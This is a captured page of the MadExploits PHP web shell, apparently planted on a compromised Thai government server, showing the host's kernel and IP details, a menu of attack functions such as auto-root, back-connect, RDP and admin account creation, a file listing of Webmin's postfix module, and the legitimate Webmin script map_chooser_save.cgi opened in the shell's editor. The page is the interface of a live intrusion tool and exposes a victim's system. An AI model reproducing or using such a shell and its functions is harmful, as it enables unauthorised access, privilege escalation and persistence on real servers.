Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
postfix /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
6.56
KB
-rw-r--r--
acl_security.pl
855
B
-rwxr-xr-x
address_rewriting.cgi
1.11
KB
-rwxr-xr-x
aliases-lib.pl
7.93
KB
-rwxr-xr-x
aliases.cgi
2.97
KB
-rwxr-xr-x
autoreply.pl
12.13
KB
-rwxr-xr-x
backup_config.pl
730
B
-rwxr-xr-x
bcc.cgi
1.41
KB
-rwxr-xr-x
body.cgi
951
B
-rwxr-xr-x
boxes-lib.pl
78.51
KB
-rwxr-xr-x
canonical.cgi
1.12
KB
-rwxr-xr-x
canonical_edit.cgi
734
B
-rwxr-xr-x
client.cgi
2.22
KB
-rwxr-xr-x
config
702
B
-rw-r--r--
config-freebsd
783
B
-rw-r--r--
config-freebsd-8-ALL
886
B
-rw-r--r--
config-mandrake-linux
721
B
-rw-r--r--
config-msc-linux
721
B
-rw-r--r--
config-netbsd
721
B
-rw-r--r--
config-pardus-linux
783
B
-rw-r--r--
config-syno-linux
998
B
-rw-r--r--
config.info
2.46
KB
-rw-r--r--
config.info.bg
2.94
KB
-rw-r--r--
config.info.bg.UTF-8
4.55
KB
-rw-r--r--
config.info.ca
2.92
KB
-rw-r--r--
config.info.ca.UTF-8
2.96
KB
-rw-r--r--
config.info.cz
774
B
-rw-r--r--
config.info.cz.UTF-8
825
B
-rw-r--r--
config.info.de
2.91
KB
-rw-r--r--
config.info.de.UTF-8
2.91
KB
-rw-r--r--
config.info.es
454
B
-rw-r--r--
config.info.es.UTF-8
454
B
-rw-r--r--
config.info.fr
590
B
-rw-r--r--
config.info.fr.UTF-8
607
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ja_JP.UTF-8
2.93
KB
-rw-r--r--
config.info.ja_JP.euc
2.32
KB
-rw-r--r--
config.info.nl
2.72
KB
-rw-r--r--
config.info.nl.UTF-8
2.72
KB
-rw-r--r--
config.info.no
2.76
KB
-rw-r--r--
config.info.no.UTF-8
2.76
KB
-rw-r--r--
config.info.pl
541
B
-rw-r--r--
config.info.pl.UTF-8
564
B
-rw-r--r--
config.info.ru.UTF-8
1011
B
-rw-r--r--
config.info.ru_RU
679
B
-rw-r--r--
config.info.ru_RU.UTF-8
1011
B
-rw-r--r--
config.info.ru_SU
679
B
-rw-r--r--
config.info.sv
532
B
-rw-r--r--
config.info.sv.UTF-8
552
B
-rw-r--r--
config.info.tr
442
B
-rw-r--r--
config.info.uk_UA
698
B
-rw-r--r--
config.info.uk_UA.UTF-8
1023
B
-rw-r--r--
config.info.zh_CN
350
B
-rw-r--r--
config.info.zh_CN.UTF-8
405
B
-rw-r--r--
config.info.zh_TW.Big5
397
B
-rw-r--r--
config.info.zh_TW.UTF-8
463
B
-rw-r--r--
debug.cgi
815
B
-rwxr-xr-x
defaultacl
326
B
-rw-r--r--
delete_aliases.cgi
820
B
-rwxr-xr-x
delete_mappings.cgi
596
B
-rwxr-xr-x
delete_queues.cgi
1.95
KB
-rwxr-xr-x
dependent.cgi
988
B
-rwxr-xr-x
detach_queue.cgi
651
B
-rwxr-xr-x
edit_access.cgi
676
B
-rwxr-xr-x
edit_afile.cgi
1.08
KB
-rwxr-xr-x
edit_alias.cgi
438
B
-rwxr-xr-x
edit_canonical_mappings.cgi
1.29
KB
-rwxr-xr-x
edit_ffile.cgi
2.05
KB
-rwxr-xr-x
edit_manual.cgi
1.08
KB
-rwxr-xr-x
edit_mapping.cgi
2.75
KB
-rwxr-xr-x
edit_master.cgi
3.15
KB
-rwxr-xr-x
edit_rfile.cgi
3.05
KB
-rwxr-xr-x
filter.pl
1.98
KB
-rwxr-xr-x
flushq.cgi
513
B
-rwxr-xr-x
general.cgi
4.08
KB
-rwxr-xr-x
header.cgi
986
B
-rwxr-xr-x
index.cgi
4.13
KB
-rwxr-xr-x
install_check.pl
384
B
-rwxr-xr-x
ldap.cgi
1.19
KB
-rwxr-xr-x
local_delivery.cgi
1.84
KB
-rwxr-xr-x
log_parser.pl
795
B
-rwxr-xr-x
mailq.cgi
2.44
KB
-rwxr-xr-x
mailq_search.cgi
979
B
-rwxr-xr-x
manual.cgi
996
B
-rwxr-xr-x
manual_update.cgi
610
B
-rwxr-xr-x
map_chooser.cgi
5.58
KB
-rwxr-xr-x
map_chooser_save.cgi
6.54
KB
-rwxr-xr-x
master.cgi
1.26
KB
-rwxr-xr-x
module.info
158
B
-rw-r--r--
module.info.ca
88
B
-rw-r--r--
module.info.ca.UTF-8
100
B
-rw-r--r--
module.info.cz
29
B
-rw-r--r--
module.info.cz.UTF-8
35
B
-rw-r--r--
module.info.de
78
B
-rw-r--r--
module.info.de.UTF-8
90
B
-rw-r--r--
module.info.es
33
B
-rw-r--r--
module.info.es.UTF-8
40
B
-rw-r--r--
module.info.fr
33
B
-rw-r--r--
module.info.fr.UTF-8
39
B
-rw-r--r--
module.info.hu
30
B
-rw-r--r--
module.info.hu.UTF-8
36
B
-rw-r--r--
module.info.ja_JP.UTF-8
35
B
-rw-r--r--
module.info.ja_JP.euc
30
B
-rw-r--r--
module.info.ko_KR.UTF-8
32
B
-rw-r--r--
module.info.ko_KR.euc
28
B
-rw-r--r--
module.info.ms_MY
84
B
-rw-r--r--
module.info.ms_MY.UTF-8
96
B
-rw-r--r--
module.info.nl
28
B
-rw-r--r--
module.info.nl.UTF-8
34
B
-rw-r--r--
module.info.no
30
B
-rw-r--r--
module.info.no.UTF-8
36
B
-rw-r--r--
module.info.pl
35
B
-rw-r--r--
module.info.pl.UTF-8
41
B
-rw-r--r--
module.info.ru.UTF-8
41
B
-rw-r--r--
module.info.ru_RU
29
B
-rw-r--r--
module.info.ru_RU.UTF-8
44
B
-rw-r--r--
module.info.ru_SU
29
B
-rw-r--r--
module.info.sv
29
B
-rw-r--r--
module.info.sv.UTF-8
36
B
-rw-r--r--
module.info.tr
31
B
-rw-r--r--
module.info.zh_CN
24
B
-rw-r--r--
module.info.zh_TW.Big5
29
B
-rw-r--r--
postfinger.cgi
13.89
KB
-rwxr-xr-x
postfix-lib.pl
61.5
KB
-rwxr-xr-x
rate.cgi
1.1
KB
-rwxr-xr-x
reload.cgi
265
B
-rwxr-xr-x
relocated.cgi
954
B
-rwxr-xr-x
resource.cgi
1.49
KB
-rwxr-xr-x
sasl.cgi
3.08
KB
-rwxr-xr-x
save_afile.cgi
580
B
-rwxr-xr-x
save_alias.cgi
2.7
KB
-rwxr-xr-x
save_client.cgi
1.67
KB
-rwxr-xr-x
save_ffile.cgi
860
B
-rwxr-xr-x
save_manual.cgi
665
B
-rwxr-xr-x
save_map.cgi
2.59
KB
-rwxr-xr-x
save_master.cgi
2.33
KB
-rwxr-xr-x
save_opts.cgi
638
B
-rwxr-xr-x
save_opts_aliases.cgi
582
B
-rwxr-xr-x
save_opts_bcc.cgi
464
B
-rwxr-xr-x
save_opts_body.cgi
636
B
-rwxr-xr-x
save_opts_canonical.cgi
716
B
-rwxr-xr-x
save_opts_dependent.cgi
609
B
-rwxr-xr-x
save_opts_header.cgi
650
B
-rwxr-xr-x
save_opts_misc.cgi
629
B
-rwxr-xr-x
save_opts_relocated.cgi
637
B
-rwxr-xr-x
save_opts_transport.cgi
636
B
-rwxr-xr-x
save_opts_virtual.cgi
624
B
-rwxr-xr-x
save_rfile.cgi
1.25
KB
-rwxr-xr-x
save_sasl.cgi
2.95
KB
-rwxr-xr-x
smtp.cgi
2.38
KB
-rwxr-xr-x
smtpd.cgi
2.7
KB
-rwxr-xr-x
start.cgi
341
B
-rwxr-xr-x
stop.cgi
337
B
-rwxr-xr-x
transport.cgi
955
B
-rwxr-xr-x
view_mailq.cgi
3.41
KB
-rwxr-xr-x
virtual.cgi
1.05
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : map_chooser_save.cgi
#!/usr/bin/perl # Show a form for selecting the source for a map require './postfix-lib.pl'; &ReadParse(); &error_setup($text{'chooser_err'}); @oldmaps = &get_maps_types_files($in{'map'}); # Build a list of maps from inputs for($i=0; defined($t = $in{"type_".$i}); $i++) { next if (!$t); if ($t eq "hash") { # Simple file $in{"hash_$i"} =~ /^[\/\.]\S+$/ || &error(&text('chooser_ehash', $i+1)); push(@maps, "hash:".$in{"hash_$i"}); } elsif ($t eq "regexp") { # Regular expressions file $in{"regexp_$i"} =~ /^[\/\.]\S+$/ || &error(&text('chooser_eregexp', $i+1)); push(@maps, "regexp:".$in{"regexp_$i"}); } elsif ($t eq "pcre") { # Perl-style regular expressions file $in{"pcre_$i"} =~ /^[\/\.]\S+$/ || &error(&text('chooser_epcre', $i+1)); push(@maps, "pcre:".$in{"pcre_$i"}); } elsif ($t eq "mysqlsrc") { # Common MySQL source push(@maps, "mysql:".$in{"mysqlsrc_$i"}); } elsif ($t eq "mysql") { # MySQL database if ($oldmaps[$i]->[0] eq "mysql" && $oldmaps[$i]->[1] =~ /^[\/\.]/) { # Same file as before $file = $oldmaps[$i]->[1]; } else { # Pick a filename based on the field $file = &guess_config_dir()."/".$in{'mapname'}. ($i ? ".$i" : "").".mysql.conf"; } # Validate and save MySQL settings, starting with host if ($in{"mhosts_${i}_def"}) { &save_backend_config($file, "hosts", undef); } else { $in{"mhosts_$i"} =~ /\S/ || &error(&text('chooser_emhosts', $i+1)); &save_backend_config($file, "hosts", $in{"mhosts_$i"}); } # Username $in{"muser_$i"} =~ /^\S+$/ || &error(&text('chooser_emuser', $i+1)); &save_backend_config($file, "user", $in{"muser_$i"}); # Password $in{"mpassword_$i"} =~ /^\S+$/ || &error(&text('chooser_empassword', $i+1)); &save_backend_config($file, "password", $in{"mpassword_$i"}); # Custom query if (&compare_version_numbers($postfix_version, 2.2) >= 0) { if ($in{"mquery_${i}_def"}) { &save_backend_config($file, "query", undef); } else { $in{"mdbname_$i"} =~ /\S/ || &error(&text('chooser_emquery', $i+1)); &save_backend_config($file, "query", $in{"mquery_$i"}); } } # Database name $in{"mdbname_$i"} =~ /^\S+$/ || &error(&text('chooser_emdbname', $i+1)); &save_backend_config($file, "dbname", $in{"mdbname_$i"}); # Table name $in{"mtable_$i"} =~ /^\S+$/ || &error(&text('chooser_emtable', $i+1)); &save_backend_config($file, "table", $in{"mtable_$i"}); # Value field $in{"mselect_field_$i"} =~ /^[a-z0-9\_]+$/i || &error(&text('chooser_emselect_field', $i+1)); &save_backend_config($file, "select_field", $in{"mselect_field_$i"}); # Key field $in{"mwhere_field_$i"} =~ /^[a-z0-9\_]+$/i || &error(&text('chooser_emwhere_field', $i+1)); &save_backend_config($file, "where_field", $in{"mwhere_field_$i"}); # Additional select conditions if ($in{"madditional_conditions_${i}_def"}) { &save_backend_config($file, "additional_conditions"); } else { $in{"madditional_conditions_$i"} =~ /\S/ || &error(&text('chooser_emadditional', $i+1)); &save_backend_config($file, "additional_conditions", $in{"madditional_conditions_$i"}); } push(@maps, "mysql:$file"); push(@files, $file); } elsif ($t eq "ldap") { # LDAP database if ($oldmaps[$i]->[0] eq "ldap" && $oldmaps[$i]->[1] =~ /^[\/\.]/) { # Same file as before $file = $oldmaps[$i]->[1]; } else { # Pick a filename based on the field $file = &guess_config_dir()."/".$in{'mapname'}. ($i ? ".$i" : "").".ldap.conf"; } # Save LDAP server hostname if ($in{"lserver_host_${i}_def"}) { &save_backend_config($file, "server_host", undef); } else { $in{"lserver_host_$i"} =~ /\S/ || &error(&text('chooser_elserver_host', $i+1)); &save_backend_config($file, "server_host", $in{"lserver_host_$i"}); } # LDAP port number if ($in{"lserver_port_${i}_def"}) { &save_backend_config($file, "server_port", undef); } else { $in{"lserver_port_$i"} =~ /^\d+$/ || &error(&text('chooser_elserver_port', $i+1)); &save_backend_config($file, "server_port", $in{"lserver_port_$i"}); } # Start TLS? &save_backend_config($file, "start_tls", $in{"lstart_tls_$i"}); # Search base $in{"lsearch_base_$i"} =~ /\S/ || &error(&text('chooser_elsearch_base', $i+1)); &save_backend_config($file, "search_base", $in{"lsearch_base_$i"}); # Query filter if ($in{"lquery_filter_${i}_def"}) { &save_backend_config($file, "query_filter", undef); } else { $in{"lquery_filter_$i"} =~ /^\S+$/ || &error(&text('chooser_elquery_filter', $i+1)); &save_backend_config($file, "query_filter", $in{"lquery_filter_$i"}); } # Resulting attribute if ($in{"lresult_attribute_${i}_def"}) { &save_backend_config($file, "result_attribute", undef); } else { $in{"lresult_attribute_$i"} =~ /^\S+$/ || &error(&text('chooser_elresult_attribute', $i+1)); &save_backend_config($file, "result_attribute", $in{"lresult_attribute_$i"}); } # Search scope &save_backend_config($file, "scope", $in{"lscope_$i"} || undef); # Login to server? &save_backend_config($file, "bind", $in{"lbind_$i"}); # Username if ($in{"lbind_dn_${i}_def"}) { &save_backend_config($file, "bind_dn", undef); } else { $in{"lbind_dn_$i"} =~ /\S/ || &error(&text('chooser_elbind_dn', $i+1)); &save_backend_config($file, "bind_dn", $in{"lbind_dn_$i"}); } # Password if ($in{"lbind_pw_${i}_def"}) { &save_backend_config($file, "bind_pw", undef); } else { $in{"lbind_pw_$i"} =~ /\S/ || &error(&text('chooser_elbind_pw', $i+1)); &save_backend_config($file, "bind_pw", $in{"lbind_pw_$i"}); } push(@maps, "ldap:$file"); push(@files, $file); } elsif ($t eq "other") { # Some other map $in{"other_$i"} =~ /^[a-z0-9]+:[^, ]+$/i || &error(&text('chooser_eother', $i+1)); push(@maps, $in{"other_$i"}); } else { &error("Unknown type $t"); } } @maps || &error($text{'chooser_enone'}); # Write out mysql and LDAP files @files = &unique(@files); @newfiles = map { !-r $_ } @files; foreach $f (@files) { &lock_file($f); } &flush_file_lines(@files); foreach $f (@newfiles) { &set_ownership_permissions(undef, undef, 0700, $f); } foreach $f (@files) { &unlock_file($f); } # Create final string for map $str = join(",", @maps); &popup_header($text{'chooser_title'}); print <<EOF; <script> top.opener.ifield.value = "$str"; window.close(); </script> EOF if (@files) { &webmin_log("backend", undef, $in{'map_name'}); } &popup_footer();
Close